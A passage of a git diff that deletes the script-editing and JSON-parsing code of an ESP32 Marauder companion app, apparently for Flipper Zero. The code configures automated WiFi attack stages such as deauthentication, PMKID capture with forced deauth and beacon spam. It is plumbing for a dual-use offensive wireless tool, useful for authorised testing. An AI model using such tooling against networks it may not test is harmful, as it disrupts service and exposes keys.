wifi_marauder_sniffpmkid_stage_force_deauth_change_callback}; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Channel"), - .type = WifiMarauderScriptMenuItemTypeOptionsNumber, - .num_options = 12, - .options = {"none", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11"}, - .setup_callback = wifi_marauder_sniffpmkid_stage_channel_setup_callback, - .change_callback = wifi_marauder_sniffpmkid_stage_channel_change_callback}; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffpmkid_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffpmkid_stage_timeout_select_callback}; - stage_menu->items[3] = (WifiMarauderScriptMenuItem){ - .name = strdup("Hop Channels"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"no", "yes"}, - .setup_callback = wifi_marauder_sniffpmkid_stage_hop_channels_setup_callback, - .change_callback = wifi_marauder_sniffpmkid_stage_hop_channels_change_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpwn.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpwn.c deleted file mode 100644 index d0859cd8b..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpwn.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffpwn_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPwn* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffpwn_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffPwn* stage_sniffpwn = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffpwn->timeout; -} - -void wifi_marauder_script_stage_menu_sniffpwn_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffpwn_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffpwn_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffraw.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffraw.c deleted file mode 100644 index 39641f1ee..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffraw.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffraw_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffRaw* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffraw_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffRaw* stage_sniffraw = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffraw->timeout; -} - -void wifi_marauder_script_stage_menu_sniffraw_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffraw_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffraw_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script.c b/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script.c deleted file mode 100644 index a33e27cc5..000000000 --- a/applications/external/esp32cam_marauder_companion/script/wifi_marauder_script.c +++ /dev/null @@ -1,962 +0,0 @@ -#include "../wifi_marauder_app_i.h" -#include "wifi_marauder_script.h" - -WifiMarauderScript* wifi_marauder_script_alloc() { - WifiMarauderScript* script = (WifiMarauderScript*)malloc(sizeof(WifiMarauderScript)); - if(script == NULL) { - return NULL; - } - script->name = NULL; - script->description = NULL; - script->first_stage = NULL; - script->last_stage = NULL; - script->enable_led = WifiMarauderScriptBooleanUndefined; - script->save_pcap = WifiMarauderScriptBooleanUndefined; - script->repeat = 1; - return script; -} - -WifiMarauderScript* wifi_marauder_script_create(const char* script_name) { - WifiMarauderScript* script = wifi_marauder_script_alloc(); - script->name = strdup(script_name); - return script; -} - -void _wifi_marauder_script_load_meta(WifiMarauderScript* script, cJSON* meta_section) { - if(meta_section != NULL) { - // Script description - cJSON* description = cJSON_GetObjectItem(meta_section, "description"); - if(description != NULL) { - script->description = strdup(description->valuestring); - } - // Enable LED - cJSON* enable_led_json = cJSON_GetObjectItem(meta_section, "enableLed"); - if(cJSON_IsBool(enable_led_json)) { - script->enable_led = enable_led_json->valueint; - } - // Save PCAP - cJSON* save_pcap_json = cJSON_GetObjectItem(meta_section, "savePcap"); - if(cJSON_IsBool(save_pcap_json)) { - script->save_pcap = save_pcap_json->valueint; - } - // Times the script will be repeated - cJSON* repeat = cJSON_GetObjectItem(meta_section, "repeat"); - if(repeat != NULL) { - script->repeat = repeat->valueint; - } - } - if(script->description == NULL) { - script->description = strdup("My script"); - } -} - -WifiMarauderScriptStageScan* _wifi_marauder_script_get_stage_scan(cJSON* stages) { - cJSON* stage_scan = cJSON_GetObjectItem(stages, "scan"); - if(stage_scan == NULL) { - return NULL; - } - cJSON* type = cJSON_GetObjectItem(stage_scan, "type"); - if(type == NULL) { - return NULL; - } - WifiMarauderScriptScanType scan_type; - if(strcmp(type->valuestring, "ap") == 0) { - scan_type = WifiMarauderScriptScanTypeAp; - } else if(strcmp(type->valuestring, "station") == 0) { - scan_type = WifiMarauderScriptScanTypeStation; - } else { - return NULL; - } - cJSON* channel = cJSON_GetObjectItem(stage_scan, "channel"); - int scan_channel = channel != NULL ? (int)cJSON_GetNumberValue(channel) : 0; - cJSON* timeout = cJSON_GetObjectItem(stage_scan, "timeout"); - int scan_timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SCAN; - - WifiMarauderScriptStageScan* scan_stage = - (WifiMarauderScriptStageScan*)malloc(sizeof(WifiMarauderScriptStageScan)); - scan_stage->type = scan_type; - scan_stage->channel = scan_channel; - scan_stage->timeout = scan_timeout; - - return scan_stage; -} - -WifiMarauderScriptStageSelect* _wifi_marauder_script_get_stage_select(cJSON* stages) { - cJSON* select_stage_json = cJSON_GetObjectItemCaseSensitive(stages, "select"); - if(select_stage_json == NULL) { - return NULL; - } - - cJSON* type_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "type"); - cJSON* filter_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "filter"); - cJSON* indexes_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "indexes"); - cJSON* allow_repeat_json = cJSON_GetObjectItemCaseSensitive(select_stage_json, "allow_repeat"); - - if(!cJSON_IsString(type_json)) { - return NULL; - } - WifiMarauderScriptSelectType select_type; - if(strcmp(type_json->valuestring, "ap") == 0) { - select_type = WifiMarauderScriptSelectTypeAp; - } else if(strcmp(type_json->valuestring, "station") == 0) { - select_type = WifiMarauderScriptSelectTypeStation; - } else if(strcmp(type_json->valuestring, "ssid") == 0) { - select_type = WifiMarauderScriptSelectTypeSsid; - } else { - return NULL; - } - char* filter_str = cJSON_IsString(filter_json) ? strdup(filter_json->valuestring) : NULL; - - WifiMarauderScriptStageSelect* stage_select = - (WifiMarauderScriptStageSelect*)malloc(sizeof(WifiMarauderScriptStageSelect)); - stage_select->type = select_type; - stage_select->allow_repeat = cJSON_IsBool(allow_repeat_json) ? allow_repeat_json->valueint : - true; - stage_select->filter = filter_str; - - if(cJSON_IsArray(indexes_json)) { - int indexes_size = cJSON_GetArraySize(indexes_json); - int* indexes = (int*)malloc(indexes_size * sizeof(int)); - for(int i = 0; i < indexes_size; i++) { - cJSON* index_item = cJSON_GetArrayItem(indexes_json, i); - if(cJSON_IsNumber(index_item)) { - indexes[i] = index_item->valueint; - } - } - stage_select->indexes = indexes; - stage_select->index_count = indexes_size; - } else { - stage_select->indexes = NULL; - stage_select->index_count = 0; - } - - return stage_select; -} - -WifiMarauderScriptStageDeauth* _wifi_marauder_script_get_stage_deauth(cJSON* stages) { - cJSON* deauth_stage_json = cJSON_GetObjectItemCaseSensitive(stages, "deauth"); - if(deauth_stage_json == NULL) { - return NULL; - } - - cJSON* timeout = cJSON_GetObjectItem(deauth_stage_json, "timeout"); - int deauth_timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_DEAUTH; - - WifiMarauderScriptStageDeauth* deauth_stage = - (WifiMarauderScriptStageDeauth*)malloc(sizeof(WifiMarauderScriptStageDeauth)); - deauth_stage->timeout = deauth_timeout; - - return deauth_stage; -} - -WifiMarauderScriptStageProbe* _wifi_marauder_script_get_stage_probe(cJSON* stages) { - cJSON* probe_stage_json = cJSON_GetObjectItemCaseSensitive(stages, "probe"); - if(probe_stage_json == NULL) { - return NULL; - } - - cJSON* timeout = cJSON_GetObjectItem(probe_stage_json, "timeout"); - int probe_timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_PROBE; - - WifiMarauderScriptStageProbe* probe_stage = - (WifiMarauderScriptStageProbe*)malloc(sizeof(WifiMarauderScriptStageProbe)); - probe_stage->timeout = probe_timeout; - - return probe_stage; -} - -WifiMarauderScriptStageSniffRaw* _wifi_marauder_script_get_stage_sniff_raw(cJSON* stages) { - cJSON* sniffraw_stage_json = cJSON_GetObjectItem(stages, "sniffraw"); - if(sniffraw_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffraw_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffRaw* sniff_raw_stage = - (WifiMarauderScriptStageSniffRaw*)malloc(sizeof(WifiMarauderScriptStageSniffRaw)); - sniff_raw_stage->timeout = timeout; - - return sniff_raw_stage; -} - -WifiMarauderScriptStageSniffBeacon* _wifi_marauder_script_get_stage_sniff_beacon(cJSON* stages) { - cJSON* sniffbeacon_stage_json = cJSON_GetObjectItem(stages, "sniffbeacon"); - if(sniffbeacon_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffbeacon_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffBeacon* sniff_beacon_stage = - (WifiMarauderScriptStageSniffBeacon*)malloc(sizeof(WifiMarauderScriptStageSniffBeacon)); - sniff_beacon_stage->timeout = timeout; - - return sniff_beacon_stage; -} - -WifiMarauderScriptStageSniffDeauth* _wifi_marauder_script_get_stage_sniff_deauth(cJSON* stages) { - cJSON* sniffdeauth_stage_json = cJSON_GetObjectItem(stages, "sniffdeauth"); - if(sniffdeauth_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffdeauth_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffDeauth* sniff_deauth_stage = - (WifiMarauderScriptStageSniffDeauth*)malloc(sizeof(WifiMarauderScriptStageSniffDeauth)); - sniff_deauth_stage->timeout = timeout; - - return sniff_deauth_stage; -} - -WifiMarauderScriptStageSniffEsp* _wifi_marauder_script_get_stage_sniff_esp(cJSON* stages) { - cJSON* sniffesp_stage_json = cJSON_GetObjectItem(stages, "sniffesp"); - if(sniffesp_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffesp_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffEsp* sniff_esp_stage = - (WifiMarauderScriptStageSniffEsp*)malloc(sizeof(WifiMarauderScriptStageSniffEsp)); - sniff_esp_stage->timeout = timeout; - - return sniff_esp_stage; -} - -WifiMarauderScriptStageSniffPmkid* _wifi_marauder_script_get_stage_sniff_pmkid(cJSON* stages) { - cJSON* sniffpmkid_stage_json = cJSON_GetObjectItem(stages, "sniffpmkid"); - if(sniffpmkid_stage_json == NULL) { - return NULL; - } - - cJSON* channel_json = cJSON_GetObjectItem(sniffpmkid_stage_json, "channel"); - int channel = channel_json != NULL ? (int)cJSON_GetNumberValue(channel_json) : 0; - - cJSON* timeout_json = cJSON_GetObjectItem(sniffpmkid_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - cJSON* force_deauth_json = - cJSON_GetObjectItemCaseSensitive(sniffpmkid_stage_json, "forceDeauth"); - bool force_deauth = cJSON_IsBool(force_deauth_json) ? force_deauth_json->valueint : true; - - cJSON* hop_channels_json = - cJSON_GetObjectItemCaseSensitive(sniffpmkid_stage_json, "hopChannels"); - bool hop_channels = cJSON_IsBool(hop_channels_json) ? hop_channels_json->valueint : false; - - WifiMarauderScriptStageSniffPmkid* sniff_pmkid_stage = - (WifiMarauderScriptStageSniffPmkid*)malloc(sizeof(WifiMarauderScriptStageSniffPmkid)); - - if(sniff_pmkid_stage == NULL) { - // Handle memory allocation error - return NULL; - } - sniff_pmkid_stage->channel = channel; - sniff_pmkid_stage->timeout = timeout; - sniff_pmkid_stage->force_deauth = force_deauth; - sniff_pmkid_stage->hop_channels = hop_channels; - - return sniff_pmkid_stage; -} - -WifiMarauderScriptStageSniffPwn* _wifi_marauder_script_get_stage_sniff_pwn(cJSON* stages) { - cJSON* sniffpwn_stage_json = cJSON_GetObjectItem(stages, "sniffpwn"); - if(sniffpwn_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(sniffpwn_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - WifiMarauderScriptStageSniffPwn* sniff_pwn_stage = - (WifiMarauderScriptStageSniffPwn*)malloc(sizeof(WifiMarauderScriptStageSniffPwn)); - sniff_pwn_stage->timeout = timeout; - - return sniff_pwn_stage; -} - -WifiMarauderScriptStageBeaconList* _wifi_marauder_script_get_stage_beacon_list(cJSON* stages) { - cJSON* stage_beaconlist = cJSON_GetObjectItem(stages, "beaconList"); - if(stage_beaconlist == NULL) { - return NULL; - } - WifiMarauderScriptStageBeaconList* beaconlist_stage = - (WifiMarauderScriptStageBeaconList*)malloc(sizeof(WifiMarauderScriptStageBeaconList)); - if(beaconlist_stage == NULL) { - return NULL; - } - cJSON* ssids = cJSON_GetObjectItem(stage_beaconlist, "ssids"); - if(ssids == NULL) { - return NULL; - } - // SSID count - int ssid_count = cJSON_GetArraySize(ssids); - if(ssid_count == 0) { - return NULL; - } - beaconlist_stage->ssid_count = ssid_count; - // SSIDs - beaconlist_stage->ssids = (char**)malloc(sizeof(char*) * ssid_count); - if(beaconlist_stage->ssids == NULL) { - return NULL; - } - for(int i = 0; i < ssid_count; i++) { - cJSON* ssid = cJSON_GetArrayItem(ssids, i); - if(ssid == NULL) { - continue; - } - char* ssid_string = cJSON_GetStringValue(ssid); - if(ssid_string == NULL) { - continue; - } - beaconlist_stage->ssids[i] = (char*)malloc(sizeof(char) * (strlen(ssid_string) + 1)); - strcpy(beaconlist_stage->ssids[i], ssid_string); - } - // Timeout - cJSON* timeout = cJSON_GetObjectItem(stage_beaconlist, "timeout"); - beaconlist_stage->timeout = timeout != NULL ? (int)cJSON_GetNumberValue(timeout) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - // Random SSIDs - cJSON* random_ssids = cJSON_GetObjectItem(stage_beaconlist, "generate"); - beaconlist_stage->random_ssids = - random_ssids != NULL ? (int)cJSON_GetNumberValue(random_ssids) : 0; - - return beaconlist_stage; -} - -WifiMarauderScriptStageBeaconAp* _wifi_marauder_script_get_stage_beacon_ap(cJSON* stages) { - cJSON* beaconap_stage_json = cJSON_GetObjectItem(stages, "beaconAp"); - if(beaconap_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(beaconap_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : - WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - - WifiMarauderScriptStageBeaconAp* beacon_ap_stage = - (WifiMarauderScriptStageBeaconAp*)malloc(sizeof(WifiMarauderScriptStageBeaconAp)); - beacon_ap_stage->timeout = timeout; - - return beacon_ap_stage; -} - -WifiMarauderScriptStageExec* _wifi_marauder_script_get_stage_exec(cJSON* stages) { - cJSON* exec_stage_json = cJSON_GetObjectItem(stages, "exec"); - if(exec_stage_json == NULL) { - return NULL; - } - - cJSON* command_json = cJSON_GetObjectItemCaseSensitive(exec_stage_json, "command"); - char* command_str = cJSON_IsString(command_json) ? strdup(command_json->valuestring) : NULL; - - WifiMarauderScriptStageExec* exec_stage = - (WifiMarauderScriptStageExec*)malloc(sizeof(WifiMarauderScriptStageExec)); - exec_stage->command = command_str; - - return exec_stage; -} - -WifiMarauderScriptStageDelay* _wifi_marauder_script_get_stage_delay(cJSON* stages) { - cJSON* delay_stage_json = cJSON_GetObjectItem(stages, "delay"); - if(delay_stage_json == NULL) { - return NULL; - } - - cJSON* timeout_json = cJSON_GetObjectItem(delay_stage_json, "timeout"); - int timeout = timeout_json != NULL ? (int)cJSON_GetNumberValue(timeout_json) : 0; - - WifiMarauderScriptStageDelay* delay_stage = - (WifiMarauderScriptStageDelay*)malloc(sizeof(WifiMarauderScriptStageDelay)); - delay_stage->timeout = timeout; - - return delay_stage; -} - -WifiMarauderScriptStage* - _wifi_marauder_script_create_stage(WifiMarauderScriptStageType type, void* stage_data) { - WifiMarauderScriptStage* stage = - (WifiMarauderScriptStage*)malloc(sizeof(WifiMarauderScriptStage)); - stage->type = type; - stage->stage = stage_data; - stage->next_stage = NULL; - return stage; -} - -void wifi_marauder_script_add_stage( - WifiMarauderScript* script, - WifiMarauderScriptStageType stage_type, - void* stage_data) { - if(script == NULL || stage_data == NULL) { - return; - } - WifiMarauderScriptStage* stage = _wifi_marauder_script_create_stage(stage_type, stage_data); - if(script->last_stage != NULL) { - script->last_stage->next_stage = stage; - } else { - script->first_stage = stage; - } - script->last_stage = stage; -} - -void _wifi_marauder_script_load_stages(WifiMarauderScript* script, cJSON* stages) { - // Scan stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeScan, _wifi_marauder_script_get_stage_scan(stages)); - // Select stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeSelect, _wifi_marauder_script_get_stage_select(stages)); - // Deauth stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeDeauth, _wifi_marauder_script_get_stage_deauth(stages)); - // Probe stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeProbe, _wifi_marauder_script_get_stage_probe(stages)); - // Sniff raw stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffRaw, - _wifi_marauder_script_get_stage_sniff_raw(stages)); - // Sniff beacon stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffBeacon, - _wifi_marauder_script_get_stage_sniff_beacon(stages)); - // Sniff deauth stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffDeauth, - _wifi_marauder_script_get_stage_sniff_deauth(stages)); - // Sniff esp stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffEsp, - _wifi_marauder_script_get_stage_sniff_esp(stages)); - // Sniff PMKID stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffPmkid, - _wifi_marauder_script_get_stage_sniff_pmkid(stages)); - // Sniff pwn stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeSniffPwn, - _wifi_marauder_script_get_stage_sniff_pwn(stages)); - // Beacon List stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeBeaconList, - _wifi_marauder_script_get_stage_beacon_list(stages)); - // Beacon Ap stage - wifi_marauder_script_add_stage( - script, - WifiMarauderScriptStageTypeBeaconAp, - _wifi_marauder_script_get_stage_beacon_ap(stages)); - // Exec stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeExec, _wifi_marauder_script_get_stage_exec(stages)); - // Delay stage - wifi_marauder_script_add_stage( - script, WifiMarauderScriptStageTypeDelay, _wifi_marauder_script_get_stage_delay(stages)); -} - -WifiMarauderScript* wifi_marauder_script_parse_raw(const char* json_raw) { - WifiMarauderScript* script = wifi_marauder_script_alloc(); - if(script == NULL) { - return NULL; - } - cJSON* json = cJSON_Parse(json_raw); - if(json == NULL) { - return NULL; - } - cJSON* meta = cJSON_GetObjectItem(json, "meta"); - _wifi_marauder_script_load_meta(script, meta); - - cJSON* stages = cJSON_GetObjectItem(json, "stages"); - if(cJSON_IsArray(stages)) { - cJSON* stage_item = NULL; - cJSON_ArrayForEach(stage_item, stages) { - _wifi_marauder_script_load_stages(script, stage_item); - } - } else { - _wifi_marauder_script_load_stages(script, stages); - } - - return script; -} - -WifiMarauderScript* wifi_marauder_script_parse_json(Storage* storage, const char* file_path) { - WifiMarauderScript* script = NULL; - File* script_file = storage_file_alloc(storage); - FuriString* script_name = furi_string_alloc(); - path_extract_filename_no_ext(file_path, script_name); - - if(storage_file_open(script_file, file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - uint32_t file_size = storage_file_size(script_file); - char* json_buffer = (char*)malloc(file_size + 1); - uint16_t bytes_read = storage_file_read(script_file, json_buffer, file_size); - json_buffer[bytes_read] = '\0'; - - script = wifi_marauder_script_parse_raw(json_buffer); - } - if(script == NULL) { - script = wifi_marauder_script_create(furi_string_get_cstr(script_name)); - } - script->name = strdup(furi_string_get_cstr(script_name)); - - furi_string_free(script_name); - storage_file_close(script_file); - storage_file_free(script_file); - return script; -} - -cJSON* _wifi_marauder_script_create_json_meta(WifiMarauderScript* script) { - cJSON* meta_json = cJSON_CreateObject(); - if(script->description != NULL) { - cJSON_AddStringToObject(meta_json, "description", script->description); - } else { - cJSON_AddStringToObject(meta_json, "description", "My Script"); - } - if(script->enable_led != WifiMarauderScriptBooleanUndefined) { - cJSON_AddBoolToObject( - meta_json, "enableLed", (script->enable_led == WifiMarauderScriptBooleanTrue)); - } - if(script->save_pcap != WifiMarauderScriptBooleanUndefined) { - cJSON_AddBoolToObject( - meta_json, "savePcap", (script->save_pcap == WifiMarauderScriptBooleanTrue)); - } - cJSON_AddNumberToObject(meta_json, "repeat", script->repeat); - return meta_json; -} - -cJSON* _wifi_marauder_script_create_json_scan(WifiMarauderScriptStageScan* scan_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "scan", cJSON_CreateObject()); - cJSON* scan_json = cJSON_GetObjectItem(stage_json, "scan"); - // Scan type - cJSON_AddStringToObject( - scan_json, "type", scan_stage->type == WifiMarauderScriptScanTypeAp ? "ap" : "station"); - // Channel - if(scan_stage->channel > 0) { - cJSON_AddNumberToObject(scan_json, "channel", scan_stage->channel); - } - // Timeout - if(scan_stage->timeout > 0) { - cJSON_AddNumberToObject(scan_json, "timeout", scan_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_select(WifiMarauderScriptStageSelect* select_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "select", cJSON_CreateObject()); - cJSON* select_json = cJSON_GetObjectItem(stage_json, "select"); - // Select type - cJSON_AddStringToObject( - select_json, - "type", - select_stage->type == WifiMarauderScriptSelectTypeAp ? "ap" : - select_stage->type == WifiMarauderScriptSelectTypeStation ? "station" : - "ssid"); - if(select_stage->filter != NULL) { - cJSON_AddStringToObject(select_json, "filter", select_stage->filter); - } - // Indexes - if(select_stage->indexes != NULL && select_stage->index_count > 0) { - cJSON* indexes_json = cJSON_CreateArray(); - for(int i = 0; i < select_stage->index_count; i++) { - cJSON_AddItemToArray(indexes_json, cJSON_CreateNumber(select_stage->indexes[i])); - } - cJSON_AddItemToObject(select_json, "indexes", indexes_json); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_deauth(WifiMarauderScriptStageDeauth* deauth_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "deauth", cJSON_CreateObject()); - cJSON* deauth_json = cJSON_GetObjectItem(stage_json, "deauth"); - // Timeout - if(deauth_stage->timeout > 0) { - cJSON_AddNumberToObject(deauth_json, "timeout", deauth_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_probe(WifiMarauderScriptStageProbe* probe_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "probe", cJSON_CreateObject()); - cJSON* probe_json = cJSON_GetObjectItem(stage_json, "probe"); - // Timeout - if(probe_stage->timeout > 0) { - cJSON_AddNumberToObject(probe_json, "timeout", probe_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_sniffraw(WifiMarauderScriptStageSniffRaw* sniffraw_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffRaw", cJSON_CreateObject()); - cJSON* sniffraw_json = cJSON_GetObjectItem(stage_json, "sniffRaw"); - // Timeout - if(sniffraw_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffraw_json, "timeout", sniffraw_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_sniffbeacon( - WifiMarauderScriptStageSniffBeacon* sniffbeacon_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffBeacon", cJSON_CreateObject()); - cJSON* sniffbeacon_json = cJSON_GetObjectItem(stage_json, "sniffBeacon"); - // Timeout - if(sniffbeacon_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffbeacon_json, "timeout", sniffbeacon_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_sniffdeauth( - WifiMarauderScriptStageSniffDeauth* sniffdeauth_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffDeauth", cJSON_CreateObject()); - cJSON* sniffdeauth_json = cJSON_GetObjectItem(stage_json, "sniffDeauth"); - // Timeout - if(sniffdeauth_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffdeauth_json, "timeout", sniffdeauth_stage->timeout); - } - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_sniffesp(WifiMarauderScriptStageSniffEsp* sniffesp_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffEsp", cJSON_CreateObject()); - cJSON* sniffesp_json = cJSON_GetObjectItem(stage_json, "sniffEsp"); - // Timeout - if(sniffesp_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffesp_json, "timeout", sniffesp_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_sniffpmkid( - WifiMarauderScriptStageSniffPmkid* sniffpmkid_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffPmkid", cJSON_CreateObject()); - cJSON* sniffpmkid_json = cJSON_GetObjectItem(stage_json, "sniffPmkid"); - // Force deauth - cJSON_AddBoolToObject(sniffpmkid_json, "forceDeauth", sniffpmkid_stage->force_deauth); - // Channel - if(sniffpmkid_stage->channel > 0) { - cJSON_AddNumberToObject(sniffpmkid_json, "channel", sniffpmkid_stage->channel); - } - // Timeout - if(sniffpmkid_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffpmkid_json, "timeout", sniffpmkid_stage->timeout); - } - // Hop channels - cJSON_AddBoolToObject(sniffpmkid_json, "hopChannels", sniffpmkid_stage->hop_channels); - - return stage_json; -} - -cJSON* - _wifi_marauder_script_create_json_sniffpwn(WifiMarauderScriptStageSniffPwn* sniffpwn_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "sniffPwn", cJSON_CreateObject()); - cJSON* sniffpwn_json = cJSON_GetObjectItem(stage_json, "sniffPwn"); - // Timeout - if(sniffpwn_stage->timeout > 0) { - cJSON_AddNumberToObject(sniffpwn_json, "timeout", sniffpwn_stage->timeout); - } - return stage_json; -} - -cJSON* _wifi_marauder_script_create_json_beaconlist( - WifiMarauderScriptStageBeaconList* beaconlist_stage) { - cJSON* stage_json = cJSON_CreateObject(); - cJSON_AddItemToObject(stage_json, "beaconList", cJSON_CreateObject()); - 